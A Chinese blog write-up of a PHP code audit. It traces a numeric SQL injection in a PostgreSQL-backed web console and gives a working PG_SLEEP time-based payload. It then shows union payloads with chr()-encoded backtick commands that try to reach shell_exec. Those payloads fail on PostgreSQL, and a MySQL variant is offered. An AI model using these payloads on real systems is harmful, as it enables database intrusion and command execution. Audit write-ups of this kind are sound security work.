记录一次半失败的php代码审计
审计源码发现的,比较有趣的案例:
先上存在安全问题代码:
$ips = $this->oInputPost->GetArray("ips"); $domains = $this->oInputPost->GetArray("domains"); $proxys = $this->oInputPost->GetArray("proxys"); if (!empty($proxys)) { $sql = "SELECT * FROM " . WebConsole\NM_DBT_SYSTEM_DEVICE . " WHERE typeid = 4 AND status = 2 AND id IN (" . WebConsole\implode(", ", $proxys) . ") ORDER BY id ASC"; $list = $this->oDbConn->FetchAll($sql); foreach ($list as $value ) { $proxyips[] = $value["ip"]; } } else { $proxyips[] = "127.0.0.1"; } } if (empty($proxyips)) { $this->SetError(WebConsole\_("TIPS_PROXY_SERVER_OFFLINE"), 2086); break; } $port = $this->oInputPost->GetInt("port"); if ((empty($ips) && empty($domains)) || (WebConsole\false === $port) || (WebConsole\strlen($port) == 0)) { $this->SetError(WebConsole\_("ERR_PARAMETER"), 2093); break; } $this->InitCheckNet(); foreach ($proxyips as $proxyip ) { foreach ($ips as $value ) { if (($this->oCheckNet->IPv4Check($value) === WebConsole\false) && ($this->oCheckNet->IPv6Check($value) === WebConsole\false)) { $this->SetError(WebConsole\_("ERR_PARAMETER"), 2100); break 3; } $cmd = "/usr/local/bin/osm_sysmng_tool -T 7 -D " . $proxyip . " -R " . $value . " -P " . $port; $result = WebConsole\shell_exec($cmd);
其中比较重要的三部分:
我摘取下来,一个个看过去:
第一部分:
$sql = "SELECT * FROM " . WebConsole\NM_DBT_SYSTEM_DEVICE . " WHERE typeid = 4 AND status = 2 AND id IN (" . WebConsole\implode(", ", $proxys) . ") ORDER BY id ASC"; $list = $this->oDbConn->FetchAll($sql);
这里把直接调用$proxys数组,相当于id IN(数字),是个数字类型注入:
直接构造poc:
proxys[]=1) AND 1=(SELECT 1 FROM PG_SLEEP(5))-- 1&port=80&ips=127.0.0.1
完成sql注入,下一步往下看代码:
$list = $this->oDbConn->FetchAll($sql); foreach ($list as $value ) { $proxyips[] = $value["ip"]; }
把查询的数据,已关联数组的形式显示,key和value那种,然后把获取到的表字段ip的值给$proxyips[]
继续看上面代码发现:
foreach ($proxyips as $proxyip ) { foreach ($ips as $value ) { if (($this->oCheckNet->IPv4Check($value) === WebConsole\false) && ($this->oCheckNet->IPv6Check($value) === WebConsole\false)) { $this->SetError(WebConsole\_("ERR_PARAMETER"), 2100); break 3; } $cmd = "/usr/local/bin/osm_sysmng_tool -T 7 -D " . $proxyip . " -R " . $value . " -P " . $port; $result = WebConsole\shell_exec($cmd);
发现他对我们获取的ip字段进行遍历,最后带入了:
$cmd = "/usr/local/bin/osm_sysmng_tool -T 7 -D " . $proxyip . " -R " . $value . " -P " . $port;
$port不可控,因为通过前面代码阅读:
$port = $this->oInputPost->GetInt("port"); if ((empty($ips) && empty($domains)) || (WebConsole\false === $port) || (WebConsole\strlen($port) == 0)) { $this->SetError(WebConsole\_("ERR_PARAMETER"), 2093); break; }
发现他做了端口验证,$value也不可控:
if (($this->oCheckNet->IPv4Check($value) === WebConsole\false) && ($this->oCheckNet->IPv6Check($value) === WebConsole\false)) { $this->SetError(WebConsole\_("ERR_PARAMETER"), 2100); break 3; }
做了ipv4验证,验证了是否是一个真正的ip地址
那么就差$proxyip了
通过前面代码,看到select查询代码:
这是个常量,跟进去看看定义:
define("NM_DBT_SYSTEM_DEVICE", "t_system_device");
那么他查询的就是这个表咯
查看这个表的创建,查看表结构:
如果无法查看表结构我们可以怎么做?全局搜索t_system_device,查询蛛丝马迹,但是我们是幸运的,可以查看表结构:
总共14个字段,即使不看表结构,也可以通过order by获取到字段信息
拿出来:
CREATE TABLE t_system_device ( id serial NOT NULL, status integer NOT NULL, typeid integer NOT NULL, name varchar(100) NOT NULL, displayname varchar(200), ip inet NOT NULL, fallbackip inet, clusterip inet, port integer, remark text, createtime TIMESTAMP null, creator varchar(40), changetime TIMESTAMP null, changer varchar(40), PRIMARY KEY (id) );
这里我想到的思路是控制$proxyip,从而达成rce,这是可控的,我们来操作下:
已知道ip字段在第六列,直接修改内容为:
proxys[]=1) union select null,null,null,null,null,'`sleep 3`',null,null,null,null,null,null,null,null -- 1&port=80&ips=127.0.0.1
发现测试失败,并没有延迟三秒,并且还报错了,原因就在于过滤了引号,我们继续操作安排:
我们使用一些解码操作:
这里选择使用char函数:
把'`sleep 3`'替换成:
(concat(char(96),char(115),char(108),char(101),char(101),char(112),char(32),char(51),char(96)))
对应的的解码如下:
但是还是失败了?
什么原因呢?细心的朋友应该知道,我使用的函数是mysql的函数,连接符也是mysql的,但是我们代码审查的源码是postgresql的,所以寻找postgresql的字符串连接符和解密函数:
节省时间我直接上poc:
ips[]=192.168.0.1&domains[]=www.baidu.com&p=8080&proxys[]=12) union select 1,2,3,(chr(96)||chr(115)||chr(108)||chr(101)||chr(101)||chr(112)||chr(32)||chr(51)||chr(96)),(chr(96)||chr(115)||chr(108)||chr(101)||chr(101)||chr(112)||chr(32)||chr(51)||chr(96)),(chr(96)||chr(115)||chr(108)||chr(101)||chr(101)||chr(112)||chr(32)||chr(51)||chr(96)),(chr(96)||chr(115)||chr(108)||chr(101)||chr(101)||chr(112)||chr(32)||chr(51)||chr(96)),(chr(96)||chr(115)||chr(108)||chr(101)||chr(101)||chr(112)||chr(32)||chr(51)||chr(96)),(chr(96)||chr(115)||chr(108)||chr(101)||chr(101)||chr(112)||chr(32)||chr(51)||chr(96)),(chr(96)||chr(115)||chr(108)||chr(101)||chr(101)||chr(112)||chr(32)||chr(51)||chr(96)),(chr(96)||chr(115)||chr(108)||chr(101)||chr(101)||chr(112)||chr(32)||chr(51)||chr(96)),(chr(96)||chr(115)||chr(108)||chr(101)||chr(101)||chr(112)||chr(32)||chr(51)||chr(96)),(chr(96)||chr(115)||chr(108)||chr(101)||chr(101)||chr(112)||chr(32)||chr(51)||chr(96)),(chr(96)||chr(115)||chr(108)||chr(101)||chr(101)||chr(112)||chr(32)||chr(51)||chr(96))-- aaaa
这次还是利用失败了:
我们来转移下sleep 3这个payload的存放位置:
放到最后面:
这一次页面返回正常,为什么?
因为类型是varchar(40),而union注入的ip字段类型是inet类型的,所以我们不能union注入,他是强类型表字段约束:
为了了解他是不是真的强类型表约束?我搭建了环境用来测试:
我创建了一个表,类型是id和varchar
当我进行union的时候:
这样是不允许的,因为数据类型不一样,postgresql很严格,必须字段数据类型统一
合法操作是这样:
所以我们rce失败是理所应当!
假设前提:如果源代码使用mysql数据库,我们还会rce失败吗?
答案:rce是成功的
我们来写个demo:
这是我很早之前创建的表,他有int类型,也有varchar类型:
现在我们union查询,全部设置成数字,或者全部设置成字符串:
发现并不会报错,说明mysql的字段验证是不严格的,算是个小tips吧
源代码如果使用mysql进行sql语句操作的话:
我们直接用之前失败的残次品:
proxys[]=1) union select null,null,null,null,null,(concat(char(96),char(115),char(108),char(101),char(101),char(112),char(32),char(51),char(96))) ,null,null,null,null,null,null,null,null -- 1&port=80&ips=127.0.0.1
即使是过滤了单引号,我们还是可以通过这种方式进行注入达成rce
因为这个rce最后没利用成功,利用数据包就不放了,呵呵